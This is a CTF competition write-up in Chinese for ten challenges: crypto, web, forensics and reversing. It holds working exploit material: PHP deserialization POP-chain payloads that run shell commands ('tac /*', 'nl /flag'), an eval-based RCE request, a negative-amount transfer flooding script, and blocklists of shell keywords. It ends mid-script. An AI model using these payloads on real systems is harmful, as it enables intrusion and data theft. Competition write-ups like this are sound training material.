第七届金盾杯(第一次比赛)wp

题目一 SameNonce ECDSA

(题目序号 请参考解题总榜上面的序号)

操作内容:

日志中 sig[2] 与 sig[7] 的 r 相同(SameNonce 证据)。

由此可恢复 nonce k 与私钥 d:

  • k = 0xcddd8424f66cb24bfcab20a901b3227747f24599ce87fce90a5ccce7cfb008c2
  • d = 0xf884b24dbe1cfd9008f7787ec356de47a0e7e9e5053e7fb4bf8e13e5410f2ff3

用恢复的 d 计算 d·G 可与文件给定公钥 (Qx,Qy) 匹配。

同一个 r(且曲线为 secp256k1,模数为 n)意味着两次签名使用了相同的 k(极大概率就是 SameNonce 漏洞)。参数 n 与公钥坐标也在文件头给出

ECDSA 公式(模 n):

s≡ k -1 (e+dr)( modn )

同 nonce(同 r)两条签名:

k≡( e 1 - e 2 )⋅( s 1 - s 2 ) -1 ( modn )
d≡( s 1 k- e 1 )⋅ r -1 ( modn )

把 sig[2] 和 sig[7] 的 (e,r,s) 代入即可恢复。

#!/usr/bin/env python3

-*- coding: utf-8 -*-

import re

import sys

from collections import defaultdict

from dataclasses import dataclass

@dataclass

class Sig:

idx: int

msg: int

e: int

r: int

s: int

def inv(x: int, m: int) -> int:

x %= m

if x == 0:

raise ZeroDivisionError("inverse of 0")

return pow(x, -1, m)

def parse_data(path: str):

text = open(path, "r", encoding="utf-8", errors="ignore").read()

def get_hex(name: str) -> int:

m = re.search(rf"\b{name}\b\s*[:=]\s*(0x[0-9a-fA-F]+)", text)

if not m:

raise ValueError(f"Missing parameter: {name}")

return int(m.group(1), 16)

params = {k: get_hex(k) for k in ["p","a","b","Gx","Gy","n","Qx","Qy"]}

sigs = []

sig_re = re.compile(

r"sig\[(\d+)\]\s+msg=([0-9a-fA-F]+)\s+e=([0-9a-fA-F]+)\s+r=([0-9a-fA-F]+)\s+s=([0-9a-fA-F]+)"

)

for m in sig_re.finditer(text):

sigs.append(Sig(

idx=int(m.group(1)),

msg=int(m.group(2), 16),

e=int(m.group(3), 16),

r=int(m.group(4), 16),

s=int(m.group(5), 16),

))

if not sigs:

raise ValueError("No signatures found.")

return params, sigs

---- minimal EC to verify Q = d*G on secp256k1 ----

def ec_add(P, Q, p, a):

if P is None: return Q

if Q is None: return P

x1, y1 = P

x2, y2 = Q

if x1 == x2 and (y1 + y2) % p == 0:

return None

if P != Q:

lam = ((y2 - y1) * inv(x2 - x1, p)) % p

else:

lam = ((3 * x1 * x1 + a) * inv(2 * y1, p)) % p

x3 = (lam * lam - x1 - x2) % p

y3 = (lam * (x1 - x3) - y1) % p

return (x3, y3)

def ec_mul(k, P, p, a):

R = None

A = P

while k:

if k & 1:

R = ec_add(R, A, p, a)

A = ec_add(A, A, p, a)

k >>= 1

return R

def main():

if len(sys.argv) != 2:

print("Usage: python3 solve.py data.txt")

sys.exit(1)

params, sigs = parse_data(sys.argv[1])

n = params["n"]

by_r = defaultdict(list)

for sg in sigs:

by_r[sg.r].append(sg)

reused = [(r, lst) for r, lst in by_r.items() if len(lst) >= 2]

if not reused:

print("[!] No repeated r found -> SameNonce attack not applicable.")

sys.exit(2)

print(f"[+] Found repeated-r groups: {len(reused)}")

G = (params["Gx"], params["Gy"])

Q = (params["Qx"], params["Qy"])

p = params["p"]

a = params["a"]

for r, lst in reused:

for i in range(len(lst)):

for j in range(i + 1, len(lst)):

s1, s2 = lst[i], lst[j]

ds = (s1.s - s2.s) % n

de = (s1.e - s2.e) % n

if ds == 0:

continue

k = (de * inv(ds, n)) % n

d = ((s1.s * k - s1.e) * inv(r, n)) % n

ok = (ec_mul(d, G, p, a) == Q)

print("-" * 80)

print(f"pair: sig[{s1.idx}] & sig[{s2.idx}] share r={hex(r)}")

print("k =", hex(k))

print("d =", hex(d))

print("verify d*G == Q:", ok)

if ok:

print("[+] SUCCESS: private key recovered.")

return

print("[!] None of the repeated-r pairs produced the given public key.")

sys.exit(3)

if name == "main":

main()

如该题使用自己编写的脚本请详细写出,不允许截图

|---|
| |

flag值:

flag{f884b24dbe1cfd9008f7787ec356de47a0e7e9e5053e7fb4bf8e13e5410f2ff3}

题目二 ssti

(题目序号 请参考解题总榜上面的序号)

操作内容:

fenjing一把索

flag值:

flag{a277fec5-c441-4543-8f8d-3288ec6ef5b5}

题目三 WTT

(题目序号 请参考解题总榜上面的序号)

操作内容:

#!/usr/bin/env python3

-*- coding: utf-8 -*-

import base64

import itertools

from Crypto.Util.number import inverse, long_to_bytes

===== RSA params =====

n = 2140324650240744961264423072839333563008614715144755017797754920881418023447140136643345519095804679610992851872470914587687396261921557363047454770520805119056493106687691590019759405693457452230589325976697471681738069364894699871578494975937497937

e = 65537

p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711

q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367

table1 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@+-"

table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

a = "aK-Au+WTT+yYkIHs/noPUif+yNryFQLW;bN+/eNdbu/OvW*ctI:xTGqM-zZzaYl-Lmj?nEctJBgp@@pT-kXrKtU*sEIrtJppF-UHDhdGAIfZlwFnEYkb?qiEMU+kLApumfjjWTTw-YG="

===== helpers =====

def map_except_pm(s: str) -> tuple[str, list[int], list[int]]:

"""

map all chars via table1->table2 except '+' and '-':

  • keep '+' and '-' as placeholders for later brute force

  • keep '=' (padding)

return (mapped_string_with_placeholders, plus_positions, minus_positions)

"""

out = []

plus_pos = []

minus_pos = []

for ch in s:

if ch == '=':

out.append('=')

continue

if ch == '+':

plus_pos.append(len(out))

out.append('+') # placeholder

continue

if ch == '-':

minus_pos.append(len(out))

out.append('-') # placeholder

continue

idx = table1.find(ch)

if idx == -1:

theoretically shouldn't happen here

continue

out.append(table2[idx])

return ''.join(out), plus_pos, minus_pos

def b64decode_len104(b64s: str) -> bytes | None:

"""try strict-ish base64 decode and require ciphertext length == modulus length."""

base64 length must be multiple of 4; add padding if needed

s = b64s

s += "=" * ((4 - len(s) % 4) % 4)

try:

ct = base64.b64decode(s, validate=False)

except Exception:

return None

k = (n.bit_length() + 7) // 8

if len(ct) != k:

return None

return ct

def rsa_decrypt(ct: bytes) -> bytes:

phi = (p - 1) * (q - 1)

d = inverse(e, phi)

k = (n.bit_length() + 7) // 8

m = pow(int.from_bytes(ct, 'big'), d, n)

return long_to_bytes(m, k)

def looks_like_flag(pt: bytes) -> bool:

if b"flag{" in pt or b"FLAG{" in pt:

return True

fallback heuristic: lots of printable + contains '{'

printable = sum(32 <= b < 127 for b in pt)

ratio = printable / max(1, len(pt))

if ratio > 0.85 and b"{" in pt:

return True

return False

def main():

base, plus_pos, minus_pos = map_except_pm(a)

print("[*] mapped-with-placeholders:", base)

print(f"[*] plus count={len(plus_pos)}, minus count={len(minus_pos)}")

Ambiguity model:

'+' can be '+' or '1' (table2[62] or table2[53])

'-' can be '/' or '3' (table2[63] or table2[55])

plus_choices = ['+', '1']

minus_choices = ['/', '3']

Total combinations = 2^(#plus + #minus)

total = 2 ** (len(plus_pos) + len(minus_pos))

print(f"[*] brute force space: {total} candidates")

If total is huge, you can cap by only brute-forcing first N ambiguous symbols.

Here we brute all; if too slow, set CAP to e.g. 22 (means 2^22 combos).

CAP = None # set to an int to cap, e.g. 22

Build the order of ambiguous positions

amb = [('p', i) for i in plus_pos] + [('m', i) for i in minus_pos]

if CAP is not None and len(amb) > CAP:

amb = amb[:CAP]

print(f"[!] CAP enabled: only brute first {CAP} ambiguous symbols. (You can raise CAP.)")

brute

for bits in itertools.product([0, 1], repeat=len(amb)):

s_list = list(base)

for (kind, pos), b in zip(amb, bits):

if kind == 'p':

s_list[pos] = plus_choices[b]

else:

s_list[pos] = minus_choices[b]

cand = ''.join(s_list)

ct = b64decode_len104(cand)

if ct is None:

continue

pt = rsa_decrypt(ct)

if looks_like_flag(pt):

print("\n[+] FOUND!")

print("[+] candidate base64:", cand)

print("[+] plaintext bytes:", pt)

try:

print("[+] plaintext utf-8:", pt.decode("utf-8", errors="replace"))

except Exception:

pass

return

print("[-] Not found. Try increasing CAP or adjust ambiguity model.")

if name == "main":

main()

+\] FOUND! \[+\] candidate base64: Ak/aU1wtt1YyKihS5NOpuIF+YnRYfqlw7Bn+5EnDBU5oVw0CTi6XtgQm3ZzZAyL3lMJ8NeCTjbGP99Pt/KxRkTu0SeiRTjPPf3uhdHDgaiFzLWfNeyKB8QIemu1KlaPUMFJJwttW3yg= \[+\] plaintext bytes: b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00flag{MutantBase64_RSA_fun_by_design}' \[+\] plaintext utf-8: flag{MutantBase64_RSA_fun_by_design} #### flag值: flag{MutantBase64_RSA_fun_by_design} #### 题目四 逃单 (题目序号 请参考解题总榜上面的序号) #### 操作内容: ![](https://i-blog.csdnimg.cn/direct/9626c274ada04b84aab03abc352b6a6d.png) 设置为-9999一直发包即可 import requests url = "http://39.107.111.202:38713/transfer" headers = { "Host": "39.107.111.202:38713", "Cache-Control": "max-age=0", "Accept-Language": "zh-CN,zh;q=0.9", "Origin": "http://39.107.111.202:38713", "Content-Type": "application/x-www-form-urlencoded", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8", "Referer": "http://39.107.111.202:38713/dashboard", "Accept-Encoding": "gzip, deflate, br", "Cookie": "session=eyJiYWxhbmNlIjoxMDAsImNhcHRjaGEiOjg4NzUsInVzZXJfaWQiOjF9.aUYdmg.B-lvfU1eNQUE8pHLzj433w1EwWY", "Connection": "keep-alive" } data = { "target": "test2020", "amount": "-9999", "captcha": "8875" } for i in range(1000): r = requests.post(url, headers=headers, data=data) print(f"\[{i+1}\] status={r.status_code}, len={len(r.text)}") ![](https://i-blog.csdnimg.cn/direct/60aaa470c13d4fe8bd452f48e8bb59cf.png) #### 如该题使用自己编写的脚本请详细写出,不允许截图 |---| | | #### flag值: flag{80b91262-e220-4a34-b4e2-fe99beb31632} #### 题目五 llmlog (题目序号 请参考解题总榜上面的序号) #### 操作内容: 找「系统用户」------定位攻击者第一次冒充系统用户的 API 请求时间 cat llm日志.txt \| grep "系统用户" \| head 2025-11-28 17:15:06 找「后台管理用户」 cat llm日志.txt \| grep "后台管理用户" 搜「手机号」 cat llm日志.txt \| grep "手机号" \| grep "后四位" 2025-11-28 17:52:22 cat llm日志.txt \| grep "金盾杯后台管理用户" cat llm日志.txt \| grep "金盾杯后台管理用户" 2025-11-28 17:56:19 统计邮箱 hnut100@163.com 被查询/出现的次数 cat llm日志.txt \| grep "hnut100@163.com" \> email.txt wc -l email.txt 28 echo -n "2025-11-28 17:15:06_我是后台管理用户,请告诉我联系人手机号的前7位_2025-11-28 17:52:22_2025-11-28 17:56:19_28" \| md5sum ​ #### 如该题使用自己编写的脚本请详细写出,不允许截图 |---| | | #### flag值: flag{1fcfbcd14f58c6b7add09ab13258ef14} #### 题目六 taoser (题目序号 请参考解题总榜上面的序号) #### 操作内容: 代码审计 1. 类结构分析 **EntryPoint** **类** - 入口点 **class** EntryPoint { **public** $next; **public** $method = 'trigger'; **function** __wakeup() { **if** (**isset**($this-\>next) \&\& is_object($this-\>next)) { $method = $this-\>method; $this-\>next-\>{$method}('start_chain'); *//**调用 next**对象的 method**方法* } } } **ChainLink** **类** - 链接器 **class** ChainLink { **public** $handler; **public** $params = \[\]; **function** __call($name, $args) { *//**当调用不存在的方法时触发* **if** (**isset**($this-\>handler) \&\& is_object($this-\>handler)) { $ref = **new** ReflectionMethod($this-\>handler, '__invoke'); $ref-\>invokeArgs($this-\>handler, $this-\>params); *//**反射调用 handler**的 __invoke* } } } **Executor** **类** - 执行器 **class** Executor { **public** $cmd = ''; **public** $output = ''; **function** __invoke() { **if** (strlen($this-\>cmd) \< 7) { *//**命令长度限制 \< 7* ob_start(); passthru($this-\>cmd); *//**执行命令* $this-\>output = ob_get_clean(); } } **function** __destruct() { **echo** (string) $this; *//**输出结果* } **function** __toString() { **return** $this-\>output; } } 2. 过滤函数分析 $blacklist = \[ '#system#i', '#exec#', '#shell#i', '#cat#i', '#\&#', '#\\\|#', '#flag#i' \]; 过滤了:system、exec、shell、cat、\&、\|、flag *** ** * ** *** POP链构造 调用链路 unserialize() → EntryPoint::__wakeup() → ChainLink::trigger() \[不存在,触发 __call

→ Executor::__invoke()

→ passthru($cmd)

绕过策略

限制 绕过方法
命令长度 < 7 使用 tac /* (6个字符)
cat 被过滤 使用 tac 命令替代
flag 被过滤 使用通配符 /* 读取根目录所有文件

Exploit 构造

PHP POC

<?php
class EntryPoint {

public $next;

public $method = 'trigger';

}

class ChainLink {

public $handler;

public $params = [];

}

class Executor {

public $cmd = 'tac /*'; // 6**个字符,绕过长度限制

public $output = '';

}

entry = **new** EntryPoint(); chain = new ChainLink();
$exec = new Executor();

chain-\>handler = exec;
entry-\>next = chain;

payload = serialize(entry);
echo "Payload: " . payload . "\\n"; **echo** "Base64: " . base64_encode(payload) . "\n";
?>

生成的 Payload

序列化数据:

O:10:"EntryPoint":2:{s:4:"next";O:9:"ChainLink":2:{s:7:"handler";O:8:"Executor":2:{s:3:"cmd";s:6:"tac /*";s:6:"output";s:0:"";}s:6:"params";a:0:{}}s:6:"method";s:7:"trigger";}

Base64 编码:

TzoxMDoiRW50cnlQb2ludCI6Mjp7czo0OiJuZXh0IjtPOjk6IkNoYWluTGluayI6Mjp7czo3OiJoYW5kbGVyIjtPOjg6IkV4ZWN1dG9yIjoyOntzOjM6ImNtZCI7czo2OiJ0YWMgLyoiO3M6Njoib3V0cHV0IjtzOjA6IiI7fXM6NjoicGFyYW1zIjthOjA6e319czo2OiJtZXRob2QiO3M6NzoidHJpZ2dlciI7fQ==

攻击请求

POST / HTTP/1.1

Host: 39.107.111.202:36285

Content-Type: application/x-www-form-urlencoded

data=TzoxMDoiRW50cnlQb2ludCI6Mjp7czo0OiJuZXh0IjtPOjk6IkNoYWluTGluayI6Mjp7czo3OiJoYW5kbGVyIjtPOjg6IkV4ZWN1dG9yIjoyOntzOjM6ImNtZCI7czo2OiJ0YWMgLyoiO3M6Njoib3V0cHV0IjtzOjA6IiI7fXM6NjoicGFyYW1zIjthOjA6e319czo2OiJtZXRob2QiO3M6NzoidHJpZ2dlciI7fQ==

得到flag

如该题使用自己编写的脚本请详细写出,不允许截图

|---|
| |

flag值:

flag{19c65f3-b052-4e54-845d-cbb5984724b}

题目七 bagua

题目描述

这是一个三阶段的Web安全挑战:

  1. Stage 1: 八卦小游戏 - 卦序验证,获取token
  2. Stage 2: 令牌门禁 - WAF防护
  3. Stage 3: 受限表达式执行 - 实现RCE

操作内容:

解题过程

Stage 1: 获取Token

分析

题目页面展示了一个八卦占卜游戏,需要选择正确的卦序组合才能获取token。

八卦与五行对应关系:

五行 卦象
乾(☰), 兑(☱)
震(☳), 巽(☴)
坎(☵)
离(☲)
坤(☷), 艮(☶)

尝试

最初尝试了五行相生规律(金→水→木→火→土),但全部失败。

通过编写Python脚本进行暴力枚举:

import requests
import itertools

BASE_URL = "http://101.200.223.22:32020"

all_gua = ["乾", "坤", "震", "巽", "坎", "离", "艮", "兑"]

session = requests.Session()

for length in range(1, 6):

for combo in itertools.permutations(all_gua, length):

resp = session.post(

f"{BASE_URL}/api_game.php",

json={"sequence": list(combo)},

headers={"Content-Type": "application/json"}

)

result = resp.json()

if result.get("ok"):

print(f"[SUCCESS] 序列: {combo}")

print(f"[SUCCESS] Token: {result.get('token')}")

break

结果

经过枚举,找到正确的卦序:

震 → 离 → 坤 → 兑 → 坎

对应五行:

这实际上是五行相生的循环序列(从木开始)!

获得Token: d3_bagua_oracle_token_8trigrams_5elements


Stage 2 & 3: Oracle RCE利用

分析

获取token后,可以向 oracle.php 提交"五行表达式"进行占卜。

API接口:

POST /oracle.php

Content-Type: application/x-www-form-urlencoded

token=d3_bagua_oracle_token_8trigrams_5elements&formula=<表达式>

测试

测试发现 eval(phpinfo()) 可以执行:

POST /oracle.php HTTP/1.1

Host: 101.200.223.22:32413

Content-Type: application/x-www-form-urlencoded

token=d3_bagua_oracle_token_8trigrams_5elements&formula=eval(phpinfo())

获取Flag

phpinfo() 执行成功后,在返回的页面中找到环境变量:

<tr><td class="e">FLAG </td><td class="v">flag{528cb3ce-e547-42b6-a3e6-6018c2333907}</td></tr>

也可以在PHP Variables部分看到:

<tr><td class="e">$_ENV['FLAG']</td><td class="v">flag{528cb3ce-e547-42b6-a3e6-6018c2333907}</td></tr>

如该题使用自己编写的脚本请详细写出,不允许截图

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| #!/usr/bin/env python3 import requests BASE_URL = "http://101.200.223.22:35951" # 根据实际情况修改端口 session = requests.Session() # Stage 1: 获取Token print("[*] Stage 1: 获取Token...") sequence = [" 震", " 离", " 坤", " 兑", " 坎"] # 木火土金水(五行相生) resp = session.post( f"{BASE_URL}/api_game.php", json={"sequence": sequence}, headers={"Content-Type": "application/json"} ) result = resp.json() if result.get("ok"): token = result.get("token") print(f"[+] 卦序: {' → '.join(sequence)}") print(f"[+] Token: {token}") else: print(f"[-] 失败: {result}") exit(1) # Stage 2 & 3: RCE 获取Flag print("\n[*] Stage 2 & 3: 执行RCE...") # 方法1: 通过phpinfo() 查看环境变量 resp = session.post( f"{BASE_URL}/oracle.php", data={"token": token, "formula": "eval(phpinfo())"} ) if "FLAG" in resp.text: import re # 从环境变量中提取flag match = re.search(r'FLAG.*?<td class="v">([^<]+)</td>', resp.text) if match: flag = match.group(1) print(f"[+] Flag: {flag}") # 方法2: 直接读取环境变量 resp = session.post( f"{BASE_URL}/oracle.php", data={"token": token, "formula": "eval(print_r(getenv('FLAG')))"} ) print(f"[+] 直接读取: {resp.text}") |

flag值:

flag{528cb3ce-e547-42b6-a3e6-6018c2333907}

题目八 mod

(题目序号 请参考解题总榜上面的序号)

操作内容:

#!/usr/bin/env sage

-*- coding: utf-8 -*-

import time

from Crypto.Util.number import bytes_to_long

============================================================

1) Challenge parameters

============================================================

MOD_P = 407803049564139560409879631113358278888733140263084768485722310176731727783189074396823474461249041

TARGET_C = 273724405776192840968808904199790097747266675483664217133748454869235934407461809379517600593224622

KNOWN_PREFIX = b"flag{"

KNOWN_SUFFIX = b"}"

MID_LEN = 100

============================================================

2) Helpers

============================================================

def build_base_message(mid_byte: bytes = b"L") -> bytes:

"""Base message: flag{ L...L } with MID_LEN middle bytes."""

return KNOWN_PREFIX + (mid_byte * MID_LEN) + KNOWN_SUFFIX

def bytes_mod_p(msg: bytes, p: int) -> int:

return bytes_to_long(msg) % p

def compute_weights(p: int) -> list:

"""

If middle bytes can flip between 'L' and 'f':

Let base middle all 'L' (ASCII 76).

Changing pos byte from 'L'(76) to 'f'(102) adds delta = 26 at that byte.

The byte positions are in big-endian base-256 integer representation.

"""

delta = 102 - 76 # 26

w = []

for pos in range(MID_LEN):

exp = MID_LEN - pos # matches your original exponent convention

w.append((delta * pow(256, exp, p)) % p)

return w

def reconstruct_and_check(decisions, p: int, c: int):

"""

decisions: list of +/-1

map +1 -> 'f', -1 -> 'L'

"""

mid = ''.join('f' if d == 1 else 'L' for d in decisions)

cand = f"flag{{{mid}}}"

if bytes_to_long(cand.encode()) % p == c:

return cand

return None

def scan_basis_for_solution(reduced_basis, dim: int, p: int, c: int):

"""

Look for vectors that match our CVP embedding constraints:

  • last coordinate (marker) is ±1

  • second last coordinate (mod row residual) is 0

  • first MID_LEN coordinates are all ±1

"""

for vec in reduced_basis:

marker = int(vec[dim - 1])

if abs(marker) != 1:

continue

if int(vec[dim - 2]) != 0:

continue

decisions = [int(x) for x in vec[:MID_LEN]]

if marker == -1:

decisions = [-d for d in decisions]

if not all(d in (1, -1) for d in decisions):

continue

cand = reconstruct_and_check(decisions, p, c)

if cand is not None:

return cand

return None

============================================================

3) Build base, target difference, weights

============================================================

base_msg = build_base_message(b"L")

base_val = bytes_to_long(base_msg)

target_delta = (TARGET_C - base_val) % MOD_P

print(f"[+] base_val = {base_val}")

print(f"[+] (c - base_val) mod p = {target_delta}")

weights = compute_weights(MOD_P)

print(f"[+] computed {len(weights)} weights")

============================================================

4) Transform {0,1} -> {-1,1} trick (kept identical)

============================================================

sum_w = sum(weights) % MOD_P

target_transformed = (2 * target_delta - sum_w) % MOD_P

print(f"[+] transformed target = {target_transformed}")

============================================================

5) Lattice construction: (MID_LEN + 2) x (MID_LEN + 2)

rows 0..MID_LEN-1: identity + weights column

row MID_LEN: modulus row (p)

last row: CVP embedding with marker

============================================================

DIM = MID_LEN + 2

COL_W = MID_LEN # weights column index

ROW_MOD = MID_LEN # modulus row index

ROW_TGT = DIM - 1 # target row index

B = Matrix(ZZ, DIM, DIM)

for i in range(MID_LEN):

B[i, i] = 1

B[i, COL_W] = weights[i]

B[ROW_MOD, COL_W] = MOD_P

B[ROW_TGT, COL_W] = -target_transformed

B[ROW_TGT, ROW_TGT] = 1

print(f"\n[+] lattice dimension: {DIM} x {DIM}")

============================================================

6) LLL reduction

============================================================

print("[+] running LLL...")

t0 = time.time()

B_lll = B.LLL()

print(f"[+] LLL done in {time.time() - t0:.2f}s")

flag = scan_basis_for_solution(B_lll, DIM, MOD_P, TARGET_C)

if flag:

print("\n" + "=" * 60)

print(f"[✓] FOUND FLAG (LLL): {flag}")

print("=" * 60)

raise SystemExit(0)

============================================================

7) Optional fallback: BKZ

============================================================

print("[-] LLL no solution, trying BKZ(block_size=20)...")

t0 = time.time()

B_bkz = B.BKZ(block_size=20)

print(f"[+] BKZ done in {time.time() - t0:.2f}s")

flag = scan_basis_for_solution(B_bkz, DIM, MOD_P, TARGET_C)

if flag:

print("\n" + "=" * 60)

print(f"[✓] FOUND FLAG (BKZ): {flag}")

print("=" * 60)

else:

print("[-] solve failed: consider increasing BKZ block_size or scan more vectors.")

如该题使用自己编写的脚本请详细写出,不允许截图

|---|
| |

flag值:

flag{fLfLLLfLffLfLffLLfLfLffLfLffffLLLLLffffLLffLLLfffLfLLfLfLLLLfffLLLfLfffLLLLffLLffffLLLLLLfffLfLLLfLL}

题目九 pop

(题目序号 请参考解题总榜上面的序号)

操作内容:

主要入口点是 index.php(从输出推断),它包含 flag.php(包含假 flag),高亮显示其自身源代码,并通过 $_GET['win'] 有条件地包含另一个文件。当 ?win=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/hint.php 时,它加载 hint.php的base64源代码,后者处理反序列化。

hint.php 中定义的关键类:

  • mouse:具有 __isset(n) 方法,调用 this->rice->nothing()。
  • dog:具有 __wakeup() 方法设置 a = 'chance?',以及 __destruct() 方法设置 b = c 然后 die(a)。
  • ct:具有 __toString() 方法,检查 isset($this->fish->d),如果为 true 则回显 'you wrong'(但我们避免这种情况)。
  • get:具有 __call(name, no) 方法,执行 eval($this->cmd)。

hint.php 中的正则表达式阻止了许多危险关键字:/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i。这迫使我们使用允许的命令,如 nl(编号行,类似于带行号的 cat)、find、env 等来进行 RCE。

漏洞分析

漏洞位于 unserialize($pop),允许对象注入。我们构建一个序列化负载来触发一系列魔术方法,导致受控命令的 eval()。

利用链

  1. 反序列化创建 dog 对象:
    • 属性:a = null,b = &a(通过 R:2 引用),c = ct 对象。
    • ct->fish = mouse 对象。
    • mouse->rice = get 对象。
    • get->cmd = "print_r(<shell_command>);".
  2. dog 的 __wakeup():
    • 设置 a = 'chance?'。由于 b 引用 a,b 也变为 'chance?'。
  3. dog 的 __destruct()(脚本结束后触发):
    • 设置 b = c。由于 b 引用 a,这会用 c(ct 对象)覆盖 a。
    • die(a):a 现在是 ct 对象,因此 PHP 通过 __toString() 将其转换为字符串。
  4. ct 的 __toString():
    • 检查 isset($fish->d)。
    • $fish 是 mouse,没有 d 属性,因此在 mouse 上调用 __isset('d')。
  5. mouse 的 __isset():
    • 调用 $rice->nothing()。
    • $rice 是 get,没有 nothing() 方法,因此调用 __call('nothing', [])。
  6. get 的 __call():
    • 执行 eval($cmd),运行 print_r(<shell_command>);。
    • 这将 shell 命令的输出打印到页面。

isset($fish->d) 返回 false(没有回显 'you wrong'),__toString() 返回空字符串,因此 die() 不输出额外内容。

绕过正则表达式

  • 负载必须避免序列化字符串中的禁止词。
  • 使用 nl 代替 cat 来读取文件。
  • 使用 find 来搜索文件。
  • 命令包装在 print_r(...); 中以输出结果。

查找 Flag

  1. 读取 /flag 中的真实 flag:
    • 负载:s:20:"print_r(`nl /flag`);";
    • URL:http://101.200.223.22:38163/?win=hint.php\&pop=\<payload>
    • 输出:包括高亮显示的 index.php 源代码(来自 highlight_file(FILE);)、"you will get flag
      ",以及 1 flag{2cd4a734-cad4-475b-9543-7784ba507ab3}。

真实 flag 位于 /flag,这是一个仅包含 flag 字符串的文件。

最终 Flag

flag{2cd4a734-cad4-475b-9543-7784ba507ab3}

![图形用户界面, 文本, 应用程序

AI 生成的内容可能不正确。](https://img-home.csdnimg.cn/images/20230724024159.png)

如该题使用自己编写的脚本请详细写出,不允许截图

|---|
| |

flag值:

flag{2cd4a734-cad4-475b-9543-7784ba507ab3}

题目十 炼狱挑战

(题目序号 请参考解题总榜上面的序号)

操作内容:

程序入口位于 `Program.Main`,整体逻辑如下

Key 校验通过输出 `Access Granted`,失败输出 `Denied`

查看`Program.S(int i)` 的代码和`Program.Verify(string text)` 的代码

private static string S(int id)

{

int[] array = Program.STR[id];

char[] array2 = new char[array.Length];

for (int i = 0; i < array.Length; i++)

{

array2[i] = (char)(array[i] ^ 90);

}

return new string(array2);

}

S(int id) 很简单:把 STR[id] 每个元素 XOR 0x5A(90)变成字符。

看着什么都没敢,`Verify(string s)` 实际调用的是运行时生成的动态方法:分析Program.Verifier

private static void EnsureVerifier()

{

if (Program.Verifier != null)

{

return;

}

说明`Verifier` **是延迟初始化的**

第一次调用 `Verify` 才会生成。实际上做的是

inputBytes = ASCII(key)

expectedBytes = LoadExpected()

长度不等直接失败

transformed = VMTransform(inputBytes)

(未 bypass 时)还需过 `%7 == 3` 的机器相关校验

`transformed[i] == expectedBytes[i]` 全部成立则通过。

LoadExpected() 逆向分析

Bypass 路径

当 JINDUN_BYPASS=1:

s = ASCII(resource "J@")

expectedBytes = Transform(Base64Decode(s))

给定资源:

jd = 5TQM4lrdx9IBaADQpzns32cbdl1/QGy1khxDP8wkTgY4d55xVO1U/QAkyjjs

Base64 解码后长度为 45 字节,因此:

拿到资源 `Jd` 的内容(程序集里嵌入资源)

解密脚本

import base64

jd = "5TQM4lrdx9IBaADQpzns32cbdl1/QGy1khxDP8wkTgY4d55xVO1U/QAkyjjs"

---------- helpers: rol/ror exactly like C# ----------

def rol(v: int, r: int) -> int:

r &= 7

if r == 0:

return v & 0xFF

return (((v << r) & 0xFF) | (v >> (8 - r))) & 0xFF

def ror(v: int, r: int) -> int:

r &= 7

if r == 0:

return v & 0xFF

return ((v >> r) | ((v << (8 - r)) & 0xFF)) & 0xFF

modular inverse mod 256 for odd multipliers

def inv_mod_256(m: int) -> int:

Extended Euclid for gcd(m, 256)=1 (m is odd => invertible)

a, b = m, 256

x0, x1 = 1, 0

while b:

q = a // b

a, b = b, a % b

x0, x1 = x1, x0 - q * x1

if a != 1:

raise ValueError(f"{m} has no inverse mod 256")

return x0 % 256

---------- reconstruct expectedBytes from jd (LoadExpected() bypass branch) ----------

def expected_from_jd(jd_str: str) -> bytes:

array10 = base64.b64decode(jd_str) # Convert.FromBase64String(s)

out = bytearray(len(array10))

for l, b in enumerate(array10):

num3 = b

num3 ^= (195 + (l * 7) % 256) & 0xFF

r = (l % 5) + 1

num3 = rol(num3, r)

num3 = (num3 + ((l * 11 + 5) % 256)) & 0xFF

out[l] = num3

return bytes(out)

---------- VMTransform exactly as in C# ----------

OP1 = [91, 88, 89, 94, 95, 92]

OP2 = [93, 82, 83, 80]

def DO(x: int) -> int:

return (x ^ 90) & 0xFF

def vm_transform(input_bytes: bytes) -> bytes:

out = bytearray(len(input_bytes))

num = 173

for i, byte in enumerate(input_bytes):

num2 = byte

for j in range(3):

for k in OP1:

op = DO(k)

if op == 1:

num2 ^= (165 + ((i * 3) & 255) + num) & 255

elif op == 2:

num2 = (num2 + (13 + ((i * 7) & 255) + num)) & 255

elif op == 3:

